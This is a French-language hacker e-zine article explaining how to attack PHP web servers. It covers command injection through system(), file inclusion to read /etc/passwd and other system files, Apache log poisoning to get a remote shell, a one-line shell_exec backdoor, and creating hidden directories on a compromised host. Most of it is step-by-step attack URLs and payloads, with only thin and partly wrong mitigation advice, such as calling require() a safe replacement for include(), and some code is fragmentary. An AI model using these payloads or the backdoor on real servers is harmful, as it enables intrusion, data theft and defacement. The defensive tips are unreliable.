_________________________________________________________________________________________________________
------
------/~~~~~~~~~~~~~~~~~~\
---------=< |-
Escape Shell for All-|
>=--
------\~~~~~~~~~~~~~~~~~~/
I. Introduction
L'escape shell est une sortie sur un shell. Techniquement,
un escape shell est une vulnérabilité qui se produit quand
toutes les conditions d'un événement ne sont pas envisagées.
On peut alors provoque une séquence clavier, qui sera
exécutée au lieu d'être considéré comme dangereuse
et bannie. Quand certains caractères ne sont pas filtré en cgi
ou php, on abouti sur une séquence qui est interprété comme
étant une commande shell.
Les conséquences sont des plus dramatiques... C'est comme ça que le célébrissime site de hack madchat.org s'est fait defacer il y a trois ans.
Cet article ne présente aucune nouvelle méthode, mais est juste une introduction général (avec de la pratique) sur les escapes shells.
II. ESCAPE SHELL
Le PHP ets un langage très performant. Il permet d'obtenir des informations, voire un accès à un système. Il est donc de ce fait vital pour tout administrateur et webmaster.
Ce langage possède une fonction system() permettant d'utiliser directement des commandes systèmes. Les conséquences de son utilisation sont dangereus. En effet, si on détourne un script qui utilise cette fonctions, on aura un access partiel sur le serveur (complet, non : c'est de plus en plus rares un httpd root.
Imaginons ce script :
<?
$upt = "uptime"; echo system($upt); ?> |
Ici, on affiche l'uptime du serveur, pour des stats par exemple. Si on consulte ainsi: http://www.arenhack.com/system.php?upt=uptime, on obtient bien les stats. Or, si on détourne la fonction ainsi :
http://www.arenhack.com/system.php?upt=cat%20/etc/issue,
on affiche : Red Hat
Linux 9.2 Kernel 2.4.2-2 ...
En fait, comme on le voit, on peut se servir de ce script php comme d'un remote shell (un shell à distance) ayant les droits du démon httpd (souvent, cela implique les droits de roots). Evidemment, personne n'utilisera cette fonction ainsi, cependant, on peut détourner system() d'une manière plus intelligente et qui est plus courante surle Web. C'est l'utilisation des caractères spéciaux.
Soit le script php suivant :
<?echo
system("coucou"); ?> |
Si on entre : http://www.arenhack.com/system.php?coucou
| /bin/ls , la deuxième command "/bin/ls"
sera exécutée par system
et listera ce qu'il y a sur le serveur... Ainsi, les caratcères
spéciaux qui ne sont pas filtrés peuvent être utilisés
pour provoquer des escapes shells. On pourra solutionner
le problème avec un tel filtre :
if ((strstr($cmd,
"|") { |
II. ESCAPE SHELL INTERRESSANTS SOUS APACHE
Techniquement, la faille include() fait
partie des escapes shells, puisqu'en modifiant l'url on peut sortir sur un shell,
en obtenant une accès partiel au système.
Prenons un exemple type de faille include :
<?
include("config.php"); include("header.php"); if(file_existes($page)) include($page); else include("erreur404.php"); include("footer.php"); // fermeture du script ?> |
Admettons qu'on veut tester si un tel script est vulnérable. Dans un premier temps, on vérifiera s'il permet le passage de path en argument :
http://www.arenhack.com/index.php?page=
Si cette url renvoie une erreur, c'est que le script accepte le passage de path en argument on obtient ici une faille include en profitant d'un escape shell, si le site exécute une tierce page :
http://www.arenhack.com/index.php?page=http://www.google.fr.
La chose devient plus coriace si l'on attaque ainsi :
Ici, on "deface" littéralement la page
index.php en rempalçant le texte par notre jolie phrase poétique
: "Owned by GrOsLaMeUrS".
C'est ainsi, que security-info.org s'est fait defacer il y a quelques
mois. On se prémunira de ce genre d'attaque
en chownant correctement les répertoires et les fichiers concernés.
Cette faille est très dangereuse. On notera que defacer dans ce cas est
stupide puisqu'on peut faire beaucoup mieux. Décortiquons
un peu plus.
Il serait de cette façon aisé de récupérer /etc/passwd
du serveur. Ainsi http://www.arenhack.com/index.php?page=/etc/passwd
permettra d'obtenir quelque chose ressemble à ça :
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: |
Je ne vous le fais pas dire, ceci sera strictement inutile car vous ne trouverez
plus sur le Net des /etc/passwd
qui ne sont pas shadowed... Mais, on peut récupérer des informations.
L'utilité ? Eh bien, sion sait que le serveur tourne
sur Apache, qu'on connait la version et l'OS précis, on pourra
connaître à quelle faille ce serveur est vulnérable
et, dès lors, le root du serveur sera rendu beaucoup plus aisé.
Ce genre de path passé en argument nous donnera
des informations très précieuses :
http://www.arenhack.com/index.php?page=/etc/inetd.conf
http://www.arenhack.com/index.php?page=/etc/issue
http://www.arenhack.com/index.php?page=/etc/motd
http://www.arenhack.com/index.php?page=/proc/cpuinfo
III. OBTENIR UN REMOTE SHELL
En réutilisant le même exemple que précédemment, voyons comment obtenir un remote shell sur le serveur avec les permissions du serveur http.
Il faut commencer par localiser le fichier de log de
Apache : http://www.arenhack.com/index.php?page=/usr/local/apache/conf/httpd.conf
Le serveur va afficher des informations dont ces lignes :
DocumentRoot
/home/www/arenhack/cgi-bin/ arenhack ServerName files.arenhack.com ScriptAlias /cgi-bin/ /home/www/arenhack/cgi-bin/ arenhack ErrorLog logs/arenhack.com-error_log CustomLog logs/files.arenhack.com-access_log combined ServerAdmin webmaster@arenhack.com |
On peut ainsi consulter le fichier de log arenhack.com-error_log...
Si on teste une requête qui ne marche pas ">http://www.arenhack.com/<?echo"tarlouse";?>,
une ligne de plus s'affichera dans le fichiers
de log...
Par conséquent, si on y réfléchit,
on peut écrire dans le fichier log... L'idée est d'y balancer
un code exécutable. Comment ? Il suffit
de le convertir en url-encode
voici un code en C qui convertit un char ascii en char url-encodé :
Pour la commande "<? system("ls"); ?>", on obtient : %3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e
Provoquons l'erreur pour placer notre code dans le fichier de log : ">http://www.arenhack.com/%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e
On consulte la page de log http : http//www.arenhack.com/index.php?page=/usr/local/apache/logs/arenhack.com-error_log
et on obtient :
drwxr-xr-x 7 Nocte Nocte 4096
mer 20 00:00 ... |
Ainsi, le code sera interprété. On pourra donc attaquer un tel
serveur en utilisant la fonctIon system() pour obtenir
une sorte de remote shell. Ensuite, il
faut écrire une backdoor php :
<?=str_replace("?","!",shell_exec($cmd));?> |
Placé dans un fichier php, on peut lui envoyer des commandes de la sorte :
http://www.serveurweb.com/fichier.php?cmd=uname+-a par exemple.
Enfin, le plus coriace, est de programmé l'injecteur de la backdoor. N'oubliez pas de traduire tous ces codes en url-encode :
Ici, il faut trouver un
fichier à ouvrir qui soit vulnérable forcément et world-writable.
Enfin, il ne manque plus que accéder aux
logs. Dès lors, on peut faire ce qu'on veut :
- pour créer un répertoire invisible : http://www.arenhack.com/index.php?cmd=mkdir+/var/.mom/
Cette faille est donc très importante. Pour la colmater, il faut procéder
au même traitement que pour la faille include en chownant le répertoire
correctement, cela afin d'éviter que l'utilisateur httpd ne puisse accéder
aux fichiers en dehors de htdocs (sa racine). Il
vous mieux aussi installer Apache dans un autre répertoire que
celui par défaut. On peut aussi parser les
slashs pour ne pas changer de répertoire :
$page = ereg_replace("/","toto") |
Il faut faire beaucoup de php pour maîtriser ce
genre de faille. Par exemple, si cette page http://www.arenhack.com/index.php?toto=
, renvoie cette erreur :
Fatal error: input in flex scanner failed in /home/apache/www on line 1 |
Cela signifie qu'on a :
<? include($toto);?> |
C'est-à-dire qu'on
peut passer directement un path a toto.
Même s'il n'existe pas de moyen publique et connue d'exploiter un include php pour lancer une appli en remote, mieux vaut évitez d'utiliser include et préférez des équivalent comme require().
N'oubliez pas aussi de regarder du côté du custom log (le deuxième log), on peut parfois exécuter du code àl'intérieur, comme pour le premier fichier de log.
IV. VOILA
Bref, cet article vous a présenté quelques méthodes d'escapes shells pouvant s'avérer néfastes pour un serveur.
N'essayez pas d'attaquer le serveur Arenhack de la sorte, toutes les informations fournis à son propos dans cet article sont toutes erronées. N'oubliez pas que, tout ça c'est pour le fun, et que l'essentiel est de comprendre ces techniques, afin de pouvoir se prémunir et mieux sécuriser les systèmes.
Have fun,
Nocte [DHS] / For ArenHack Team -- M.I.B.
#1
greetz : medgi (subk), MeiK (IOC), etherlord (DHS), CL@D & SpS6m3N
(AH)
--[EOF]--